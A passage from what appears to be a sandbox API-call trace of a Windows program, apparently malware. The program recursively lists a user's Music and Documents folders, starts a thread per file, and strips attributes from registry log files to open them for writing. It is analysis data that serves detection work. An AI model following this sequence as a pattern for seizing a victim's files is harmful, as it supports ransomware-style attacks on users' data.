ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive.lnk", cAlternateFileName="")) returned 1 [0063.537] wcscmp (_String1="OneDrive.lnk", _String2=".") returned 1 [0063.537] wcscmp (_String1="OneDrive.lnk", _String2="..") returned 1 [0063.537] FindNextFileW (in: hFindFile=0x3434128, lpFindFileData=0x3428458 | out: lpFindFileData=0x3428458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3190fb5, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x94664823, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive.lnk", cAlternateFileName="")) returned 0 [0063.538] FindClose (in: hFindFile=0x3434128 | out: hFindFile=0x3434128) returned 1 [0063.538] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428458) returned 1 [0063.538] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d240) returned 1 [0063.538] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e9520) returned 1 [0063.538] RtlExitUserThread (Status=0x0) Thread: id = 274 os_tid = 0x12c0 [0063.539] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x42) returned 0x341e908 [0063.539] wcscpy (in: _Dest=0x341e908, _Source="C:\\Users\\FD1HVy\\Local Settings" | out: _Dest="C:\\Users\\FD1HVy\\Local Settings") returned="C:\\Users\\FD1HVy\\Local Settings" [0063.539] wcscat (in: _Dest=0x341e908, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Local Settings\\") returned="C:\\Users\\FD1HVy\\Local Settings\\" [0063.539] wcscat (in: _Dest=0x341e908, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Local Settings\\*") returned="C:\\Users\\FD1HVy\\Local Settings\\*" [0063.539] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3428458 [0063.539] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Local Settings\\*", lpFindFileData=0x3428458 | out: lpFindFileData=0x3428458*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0063.539] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428458) returned 1 [0063.539] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e908) returned 1 [0063.539] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0063.539] RtlExitUserThread (Status=0x0) Thread: id = 275 os_tid = 0x12c4 [0063.541] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x30) returned 0x347d240 [0063.541] wcscpy (in: _Dest=0x347d240, _Source="C:\\Users\\FD1HVy\\Music" | out: _Dest="C:\\Users\\FD1HVy\\Music") returned="C:\\Users\\FD1HVy\\Music" [0063.541] wcscat (in: _Dest=0x347d240, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\") returned="C:\\Users\\FD1HVy\\Music\\" [0063.541] wcscat (in: _Dest=0x347d240, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Music\\*") returned="C:\\Users\\FD1HVy\\Music\\*" [0063.541] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3428458 [0063.541] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\*", lpFindFileData=0x3428458 | out: lpFindFileData=0x3428458*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x5db024a8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x5db024a8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434128 [0063.542] wcscmp (_String1=".", _String2=".") returned 0 [0063.542] FindNextFileW (in: hFindFile=0x3434128, lpFindFileData=0x3428458 | out: lpFindFileData=0x3428458*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x5db024a8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x5db024a8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.542] wcscmp (_String1="..", _String2=".") returned 1 [0063.542] wcscmp (_String1="..", _String2="..") returned 0 [0063.542] FindNextFileW (in: hFindFile=0x3434128, lpFindFileData=0x3428458 | out: lpFindFileData=0x3428458*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x4409f518, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4409f518, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce3d633b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0063.542] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0063.542] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0063.542] FindNextFileW (in: hFindFile=0x3434128, lpFindFileData=0x3428458 | out: lpFindFileData=0x3428458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47e95dd0, ftCreationTime.dwHighDateTime=0x1d4cb77, ftLastAccessTime.dwLowDateTime=0x1883dea0, ftLastAccessTime.dwHighDateTime=0x1d4c819, ftLastWriteTime.dwLowDateTime=0x1883dea0, ftLastWriteTime.dwHighDateTime=0x1d4c819, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GorxmBaXvtsgdsAV", cAlternateFileName="GORXMB~1")) returned 1 [0063.542] wcscmp (_String1="GorxmBaXvtsgdsAV", _String2=".") returned 1 [0063.542] wcscmp (_String1="GorxmBaXvtsgdsAV", _String2="..") returned 1 [0063.542] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x3422418 [0063.542] wcscpy (in: _Dest=0x3422418, _Source="C:\\Users\\FD1HVy\\Music" | out: _Dest="C:\\Users\\FD1HVy\\Music") returned="C:\\Users\\FD1HVy\\Music" [0063.542] wcscat (in: _Dest=0x3422418, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\") returned="C:\\Users\\FD1HVy\\Music\\" [0063.542] wcscat (in: _Dest=0x3422418, _Source="GorxmBaXvtsgdsAV" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV" [0067.187] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3422418, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x368 [0067.187] FindNextFileW (in: hFindFile=0x3434128, lpFindFileData=0x3428458 | out: lpFindFileData=0x3428458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x556f0ae0, ftCreationTime.dwHighDateTime=0x1d4cd52, ftLastAccessTime.dwLowDateTime=0xc1631770, ftLastAccessTime.dwHighDateTime=0x1d4c8f0, ftLastWriteTime.dwLowDateTime=0xc1631770, ftLastWriteTime.dwHighDateTime=0x1d4c8f0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IYh3SxDKlqkem52ms", cAlternateFileName="IYH3SX~1")) returned 1 [0067.187] wcscmp (_String1="IYh3SxDKlqkem52ms", _String2=".") returned 1 [0067.187] wcscmp (_String1="IYh3SxDKlqkem52ms", _String2="..") returned 1 [0067.188] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x50) returned 0x3430ee8 [0067.188] wcscpy (in: _Dest=0x3430ee8, _Source="C:\\Users\\FD1HVy\\Music" | out: _Dest="C:\\Users\\FD1HVy\\Music") returned="C:\\Users\\FD1HVy\\Music" [0067.188] wcscat (in: _Dest=0x3430ee8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\") returned="C:\\Users\\FD1HVy\\Music\\" [0067.188] wcscat (in: _Dest=0x3430ee8, _Source="IYh3SxDKlqkem52ms" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms" [0067.188] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3430ee8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x524 [0067.188] FindNextFileW (in: hFindFile=0x3434128, lpFindFileData=0x3428458 | out: lpFindFileData=0x3428458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a281e0, ftCreationTime.dwHighDateTime=0x1d4c9a8, ftLastAccessTime.dwLowDateTime=0x59d41c60, ftLastAccessTime.dwHighDateTime=0x1d4d59a, ftLastWriteTime.dwLowDateTime=0x59d41c60, ftLastWriteTime.dwHighDateTime=0x1d4d59a, nFileSizeHigh=0x0, nFileSizeLow=0x833f, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpK K-JQ.wav", cAlternateFileName="MPKK-J~1.WAV")) returned 1 [0067.188] wcscmp (_String1="mpK K-JQ.wav", _String2=".") returned 1 [0067.188] wcscmp (_String1="mpK K-JQ.wav", _String2="..") returned 1 [0067.188] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x46) returned 0x3480f38 [0067.188] wcscpy (in: _Dest=0x3480f38, _Source="C:\\Users\\FD1HVy\\Music" | out: _Dest="C:\\Users\\FD1HVy\\Music") returned="C:\\Users\\FD1HVy\\Music" [0067.188] wcscat (in: _Dest=0x3480f38, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\") returned="C:\\Users\\FD1HVy\\Music\\" [0067.188] wcscat (in: _Dest=0x3480f38, _Source="mpK K-JQ.wav" | out: _Dest="C:\\Users\\FD1HVy\\Music\\mpK K-JQ.wav") returned="C:\\Users\\FD1HVy\\Music\\mpK K-JQ.wav" [0067.189] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3480f38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x754 [0067.189] FindNextFileW (in: hFindFile=0x3434128, lpFindFileData=0x3428458 | out: lpFindFileData=0x3428458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8beaf480, ftCreationTime.dwHighDateTime=0x1d4d027, ftLastAccessTime.dwLowDateTime=0x3d04020, ftLastAccessTime.dwHighDateTime=0x1d4c6ca, ftLastWriteTime.dwLowDateTime=0x3d04020, ftLastWriteTime.dwHighDateTime=0x1d4c6ca, nFileSizeHigh=0x0, nFileSizeLow=0x136bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="PdAjG9sZ G.mp3", cAlternateFileName="PDAJG9~1.MP3")) returned 1 [0067.189] wcscmp (_String1="PdAjG9sZ G.mp3", _String2=".") returned 1 [0067.189] wcscmp (_String1="PdAjG9sZ G.mp3", _String2="..") returned 1 [0067.189] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4a) returned 0x3430f98 [0067.189] wcscpy (in: _Dest=0x3430f98, _Source="C:\\Users\\FD1HVy\\Music" | out: _Dest="C:\\Users\\FD1HVy\\Music") returned="C:\\Users\\FD1HVy\\Music" [0067.189] wcscat (in: _Dest=0x3430f98, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\") returned="C:\\Users\\FD1HVy\\Music\\" [0067.189] wcscat (in: _Dest=0x3430f98, _Source="PdAjG9sZ G.mp3" | out: _Dest="C:\\Users\\FD1HVy\\Music\\PdAjG9sZ G.mp3") returned="C:\\Users\\FD1HVy\\Music\\PdAjG9sZ G.mp3" [0067.189] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3430f98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5dc [0067.190] FindNextFileW (in: hFindFile=0x3434128, lpFindFileData=0x3428458 | out: lpFindFileData=0x3428458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b34f100, ftCreationTime.dwHighDateTime=0x1d4ce10, ftLastAccessTime.dwLowDateTime=0xabbd6aa0, ftLastAccessTime.dwHighDateTime=0x1d4cced, ftLastWriteTime.dwLowDateTime=0xabbd6aa0, ftLastWriteTime.dwHighDateTime=0x1d4cced, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RKFI", cAlternateFileName="")) returned 1 [0067.190] wcscmp (_String1="RKFI", _String2=".") returned 1 [0067.190] wcscmp (_String1="RKFI", _String2="..") returned 1 [0067.190] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34338e8 [0067.190] wcscpy (in: _Dest=0x34338e8, _Source="C:\\Users\\FD1HVy\\Music" | out: _Dest="C:\\Users\\FD1HVy\\Music") returned="C:\\Users\\FD1HVy\\Music" [0067.190] wcscat (in: _Dest=0x34338e8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\") returned="C:\\Users\\FD1HVy\\Music\\" [0067.190] wcscat (in: _Dest=0x34338e8, _Source="RKFI" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI") returned="C:\\Users\\FD1HVy\\Music\\RKFI" [0067.190] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x34338e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x588 [0067.191] FindNextFileW (in: hFindFile=0x3434128, lpFindFileData=0x3428458 | out: lpFindFileData=0x3428458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb698ef60, ftCreationTime.dwHighDateTime=0x1d4d3e3, ftLastAccessTime.dwLowDateTime=0x8e655e00, ftLastAccessTime.dwHighDateTime=0x1d4cdf0, ftLastWriteTime.dwLowDateTime=0x8e655e00, ftLastWriteTime.dwHighDateTime=0x1d4cdf0, nFileSizeHigh=0x0, nFileSizeLow=0x1317e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaddU8qud.m4a", cAlternateFileName="SADDU8~1.M4A")) returned 1 [0067.191] wcscmp (_String1="SaddU8qud.m4a", _String2=".") returned 1 [0067.191] wcscmp (_String1="SaddU8qud.m4a", _String2="..") returned 1 [0067.191] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x3480fd8 [0067.191] wcscpy (in: _Dest=0x3480fd8, _Source="C:\\Users\\FD1HVy\\Music" | out: _Dest="C:\\Users\\FD1HVy\\Music") returned="C:\\Users\\FD1HVy\\Music" [0067.191] wcscat (in: _Dest=0x3480fd8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\") returned="C:\\Users\\FD1HVy\\Music\\" [0067.191] wcscat (in: _Dest=0x3480fd8, _Source="SaddU8qud.m4a" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SaddU8qud.m4a") returned="C:\\Users\\FD1HVy\\Music\\SaddU8qud.m4a" [0067.191] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3480fd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d8 [0067.192] FindNextFileW (in: hFindFile=0x3434128, lpFindFileData=0x3428458 | out: lpFindFileData=0x3428458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6197b320, ftCreationTime.dwHighDateTime=0x1d4cbc3, ftLastAccessTime.dwLowDateTime=0xca063ea0, ftLastAccessTime.dwHighDateTime=0x1d4c7b2, ftLastWriteTime.dwLowDateTime=0xca063ea0, ftLastWriteTime.dwHighDateTime=0x1d4c7b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SEqkCtYdumT1MRWa", cAlternateFileName="SEQKCT~1")) returned 1 [0067.192] wcscmp (_String1="SEqkCtYdumT1MRWa", _String2=".") returned 1 [0067.192] wcscmp (_String1="SEqkCtYdumT1MRWa", _String2="..") returned 1 [0067.192] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x3431258 [0067.192] wcscpy (in: _Dest=0x3431258, _Source="C:\\Users\\FD1HVy\\Music" | out: _Dest="C:\\Users\\FD1HVy\\Music") returned="C:\\Users\\FD1HVy\\Music" [0067.192] wcscat (in: _Dest=0x3431258, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\") returned="C:\\Users\\FD1HVy\\Music\\" [0067.192] wcscat (in: _Dest=0x3431258, _Source="SEqkCtYdumT1MRWa" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa" [0067.192] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3431258, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x58c [0067.193] FindNextFileW (in: hFindFile=0x3434128, lpFindFileData=0x3428458 | out: lpFindFileData=0x3428458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf7dd20, ftCreationTime.dwHighDateTime=0x1d4d2f6, ftLastAccessTime.dwLowDateTime=0x50e736a0, ftLastAccessTime.dwHighDateTime=0x1d4d225, ftLastWriteTime.dwLowDateTime=0x50e736a0, ftLastWriteTime.dwHighDateTime=0x1d4d225, nFileSizeHigh=0x0, nFileSizeLow=0x850b, dwReserved0=0x0, dwReserved1=0x0, cFileName="V mWk23OCjQ.mp3", cAlternateFileName="VMWK23~1.MP3")) returned 1 [0067.193] wcscmp (_String1="V mWk23OCjQ.mp3", _String2=".") returned 1 [0067.193] wcscmp (_String1="V mWk23OCjQ.mp3", _String2="..") returned 1 [0067.193] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4c) returned 0x3430cd8 [0067.193] wcscpy (in: _Dest=0x3430cd8, _Source="C:\\Users\\FD1HVy\\Music" | out: _Dest="C:\\Users\\FD1HVy\\Music") returned="C:\\Users\\FD1HVy\\Music" [0067.193] wcscat (in: _Dest=0x3430cd8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\") returned="C:\\Users\\FD1HVy\\Music\\" [0067.193] wcscat (in: _Dest=0x3430cd8, _Source="V mWk23OCjQ.mp3" | out: _Dest="C:\\Users\\FD1HVy\\Music\\V mWk23OCjQ.mp3") returned="C:\\Users\\FD1HVy\\Music\\V mWk23OCjQ.mp3" [0067.193] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3430cd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d4 [0067.193] FindNextFileW (in: hFindFile=0x3434128, lpFindFileData=0x3428458 | out: lpFindFileData=0x3428458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf7dd20, ftCreationTime.dwHighDateTime=0x1d4d2f6, ftLastAccessTime.dwLowDateTime=0x50e736a0, ftLastAccessTime.dwHighDateTime=0x1d4d225, ftLastWriteTime.dwLowDateTime=0x50e736a0, ftLastWriteTime.dwHighDateTime=0x1d4d225, nFileSizeHigh=0x0, nFileSizeLow=0x850b, dwReserved0=0x0, dwReserved1=0x0, cFileName="V mWk23OCjQ.mp3", cAlternateFileName="VMWK23~1.MP3")) returned 0 [0067.194] FindClose (in: hFindFile=0x3434128 | out: hFindFile=0x3434128) returned 1 [0067.194] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428458) returned 1 [0067.194] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d240) returned 1 [0067.194] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e9718) returned 1 [0067.194] RtlExitUserThread (Status=0x0) Thread: id = 276 os_tid = 0x12c8 [0063.542] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3e) returned 0x33fced8 [0063.542] wcscpy (in: _Dest=0x33fced8, _Source="C:\\Users\\FD1HVy\\My Documents" | out: _Dest="C:\\Users\\FD1HVy\\My Documents") returned="C:\\Users\\FD1HVy\\My Documents" [0063.542] wcscat (in: _Dest=0x33fced8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\My Documents\\") returned="C:\\Users\\FD1HVy\\My Documents\\" [0063.542] wcscat (in: _Dest=0x33fced8, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\My Documents\\*") returned="C:\\Users\\FD1HVy\\My Documents\\*" [0063.543] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3427ab8 [0063.543] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\My Documents\\*", lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0063.543] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427ab8) returned 1 [0063.543] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fced8) returned 1 [0063.543] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce90) returned 1 [0063.543] RtlExitUserThread (Status=0x0) Thread: id = 277 os_tid = 0x12cc [0063.544] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x34) returned 0x3434328 [0063.544] wcscpy (in: _Dest=0x3434328, _Source="C:\\Users\\FD1HVy\\NetHood" | out: _Dest="C:\\Users\\FD1HVy\\NetHood") returned="C:\\Users\\FD1HVy\\NetHood" [0063.544] wcscat (in: _Dest=0x3434328, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\NetHood\\") returned="C:\\Users\\FD1HVy\\NetHood\\" [0063.544] wcscat (in: _Dest=0x3434328, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\NetHood\\*") returned="C:\\Users\\FD1HVy\\NetHood\\*" [0063.544] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3427ab8 [0063.544] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\NetHood\\*", lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0063.544] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427ab8) returned 1 [0063.544] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434328) returned 1 [0063.544] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e9478) returned 1 [0063.544] RtlExitUserThread (Status=0x0) Thread: id = 278 os_tid = 0x12d0 [0063.545] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\ntuser.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\ntuser.dat.log1")) returned 0x26 [0063.545] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\ntuser.dat.LOG1", dwFileAttributes=0x20) returned 1 [0063.546] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\ntuser.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\ntuser.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.546] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\ntuser.dat.LOG1", dwFileAttributes=0x26) returned 1 [0063.546] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce48) returned 1 [0063.546] RtlExitUserThread (Status=0x0) Thread: id = 279 os_tid = 0x12d4 [0063.547] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\ntuser.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\ntuser.dat.log2")) returned 0x26 [0063.547] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\ntuser.dat.LOG2", dwFileAttributes=0x20) returned 1 [0063.547] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\ntuser.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\ntuser.dat.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.547] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\ntuser.dat.LOG2", dwFileAttributes=0x26) returned 1 [0063.548] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd088) returned 1 [0063.548] RtlExitUserThread (Status=0x0) Thread: id = 280 os_tid = 0x12d8 [0063.549] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" (normalized: "c:\\users\\fd1hvy\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tm.blf")) returned 0x26 [0063.549] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", dwFileAttributes=0x20) returned 1 [0063.549] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" (normalized: "c:\\users\\fd1hvy\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tm.blf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.549] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", dwFileAttributes=0x26) returned 1 [0063.549] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e21c8) returned 1 [0063.549] RtlExitUserThread (Status=0x0) Thread: id = 281 os_tid = 0x12dc [0063.550] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\fd1hvy\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000001.regtrans-ms")) returned 0x26 [0063.551] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", dwFileAttributes=0x20) returned 1 [0063.551] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\fd1hvy\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000001.regtrans-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.551] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", dwFileAttributes=0x26) returned 1 [0063.551] RtlFreeHeap (HeapHandle=0x33c0000, 